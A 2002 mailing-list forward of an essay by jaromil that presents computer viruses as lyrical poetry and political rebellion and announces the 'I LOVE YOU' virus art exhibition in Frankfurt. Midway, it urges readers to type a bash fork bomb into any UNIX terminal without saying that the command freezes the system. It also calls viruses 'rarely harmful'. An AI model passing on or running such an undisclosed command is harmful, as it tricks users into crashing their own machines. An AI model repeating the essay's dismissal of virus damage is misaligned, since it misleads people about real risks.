[hackmeeting] Fwd: <nettime> I LOVE YOU

merce en grn.es merce en grn.es
Mar Mayo 21 16:06:03 CEST 2002


<nettime> I LOVE YOU

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re all,

here i have some thoughts about viruses: considering that the Melissa
virus coder is now in jail and that it looks like there's a new witch
crusade ongoing, it might be worth to spend some words about the topic.


 Any discussion of software as art requires consideration of the whole
creative process involved into its concept and realization, which leads to
a new operability in the digital domain: our attention here is focused on
source codes [*1], the fascinating world of algebra and algorithm that can
be seen in many expressions of form within the digital immanence and all
of them can be reformulated and produce meaning.

 Source codes, or rather algorithms and algebra, are the tools of the
digital craftsman in the modern age with over a thousand years of
mathematical theories behind them [*2], only for little more than a
quarter of a century have they acted as software. Software is a means of
creating art and communicating. It is a metaliterature which defines how
meaning can be carried and (re)produced by multiplying the possibilities
of communication. Just as software is a means of metacommunication, so it
represents a "parole", (to quote Saussure), deriving its execution from a
"langue", i.e. the grammatical and linguistic universe of the code.

 The metaphysical exercise becomes recursive here: although many see the
source code as merely an obscure cryptogram, it has an indirect effect on
the way we communicate and even more on the efficiency with which we do

 With all this in mind, let us now turn our attention to the phenomenon of
software viruses. These are a combination of poetical acts of rebellion,
political and structural symptoms, attempts to get into the cracks of the
net exploring its permeability; artificial intelligences, (rarely harmful,
just for the record), which have always populated the digital universe.

 [*1] Source code means a formulation of instructions expressed in a
      language understandable to a computer and linked in accordance
      with logical and conditional patterns which, once interpreted and
      executed, gives rise to a result. This result varies as the
      external conditions considered by the source code vary and through
      which we interact with its execution.  Every language is defined
      by a grammar which, in turn, is interpreted by a compiler who
      digests its semantic content (instructions) and so produces
      a "bytecode" which the computer can execute.

 [*2] The term algorithm derives from the name of Muhammad Bin Musa
      al-Khwarizmi, a mathematician living in Baghdad between 813 and
      833 A.D. 


 In considering a source code as literature, I am depicting viruses as
'poesie maudite', 'giambi' against those selling the net as a safe area
for a bourgeois society. The relations, forces and laws governing the
digital domain differ from those in the natural. The digital domain
produces a form of chaos - sometimes uncomfortable because unusual,
alltough fertile - to surf thru: in that chaos viruses are spontaneous
compositions, lyrical in causing imperfections in machines made to serve
and in representing the rebellion of our digital serfs.

 It might seem that this notion comparing viruses to lyrical poetry can
only be appreciated by those with specific technical knowledge but this
cannot be true. This is, in fact, one of the attempts made by the I LOVE
YOU exhibition of digitalcraft.org, exploring the too often neglected
sides of what i call here digital boheme. This succeeds in making the net
we surf today more organic by devising new ways for information to
circulate on it and an aesthetic, in the true sense of the term, which has
often permeated so-called net-art.

 The chaos:

  "The last possible deed is that which defines perception itself, an
   invisible golden cord that connects us: illegal dancing in the
   courthouse corridors. If I were to kiss you here they'd call it an
   act of terrorism--so let's take our pistols to bed & wake up the city
   at midnight like drunken bandits celebrating with a fusillade, the
   message of the taste of chaos."
                                                               Hakim Bey

Now type in  :(){ :|:& };:  on any UNIX terminal


 Just as an organism defends itself against the diseases which infect it,
so the net has reacted by producing antibodies attacking the bugs from
several types of defective software. One particular type of virus
spreading recently is worms, which has done so particularly through e-mail
programmes and data servers. Vulnerable software manufacturers are still
busy trying to improve the safety of their products which, in our case,
means the privacy of our communications.

 Politically speaking, we see that the reaction from many virus writers,
who can be identified on the net as having a profound knowledge of the
elements that make up the net itself, has been brought about precisely
because of the corporate, monopolistic approach of certain giants on the
market who are dreaming of turning the net into a virtual shopping area
for their own forms of business, with no respect for the horizontal nature
in the relationships of the citizens who live on it. So far, we have had
endless attempts to hamper the speed at which information can circulate,
ranging from censorship to copyright restrictions, with the precise goal
of centralizing the flow: [*]

  "Since the earliest days of the personal computer, Cyberspace was seen
   as a vehicle to restore disappearing public spaces. Lee Felsenstein,
   one of the founders of the personal computer, advocated using this
   new tool to restore an information commons (Felsenstein). Felsenstein
   and many of his fellow personal computing pioneers envisioned that
   the Internet could provide a vast public space that would reflect
   diverse interests and encourage free speech and creativity.

   For many years popular discourse framed the Internet as a diverse
   free speech zone where "anyone can be a creator". But in the early
   days of the WorldWide Web, public areas of the Internet became
   increasingly walled-off. In 1994 this author warned of the
   "colonizing effect" that commercial interests would have on the
   public space that the Internet then represented (Besser 1994). And in
   1995 he discussed how control by large industries would supercede the
   public benefit and diversity aspects that the Internet had promised.
   Almost a decade later, we see Internet spaces increasingly fenced
   off, and peoples' actions increasingly tracked and recorded."
                                                           Howard Besser

 Viruses are a political symptom of a community which continues to be
extremely vast and banning them is not the solution to the problems
deriving therefrom. The same holds true for anonymity and hacking.

 [*] Intellectual Property: the Attack on Public Space in Cyberspace
     http://www.gseis.ucla.edu/~howard/Papers/pw-public-spaces.html by
     Howard Besser, associate professor at the UCLA School of Education
     & Information, describes how various industries are using their
     leverage with copyright to make fewer locations on the Internet
     less public.


 A virus writer is interested in exploring the permability of the net. A
rhizome of such and so many dimensions as the internet cannot be
represented by any map many have tried but no one has so far completed
this task. Its extension may be traced by following a path, sounding where
it wanders off and tracing its directions and connections. Injecting a
contrast medium into the organism to follow shape and structure will
produce an angiogram showing the typical arrangement of veins.

 Let's now make an effort and consider the origins of the Instinct of
Exploration as we can represent it in our own history, the history of the
organic world as we know it.

I LOVE YOU is an exhibition curated by the Franziska Nori and the
digitalcraft.org team into the Museum of Applied Arts in Frankfurt, opened
to the public from the 23d of May to the 13th of June. The phenomenon of
computer viruses will give place to an exposition, round table discussions
and a catalog publication, in particular on the opening held the 23d of
May there will be a code-poetry reading, a mafia software presentation and
a discussion with epidemiC, Florian Cramer, 01001..ORG, Eric Chien from
Symantec and me.

I'd like to express my heartfelt thanks to all the digitalcraft.org team
for the attention and interest in our work. It has been an honour for me
to contribute to this ongoing collective research for which there has been
so much enthusiasm. Very special thanks to Franziska Nori, Florian Cramer,
Andreas Broeckmann, Alessandro Ludovico, Garderobe23 / Kunstfabrik Berlin,
Woessel; in solidarity with all those who still resist.

jaromil  ][   http://dyne.org   ][  GnuPG _key__id_
EDEE F1B9 DC92 76C0 6D46  D77A 58B0 82D6 (5B6E 6D97)

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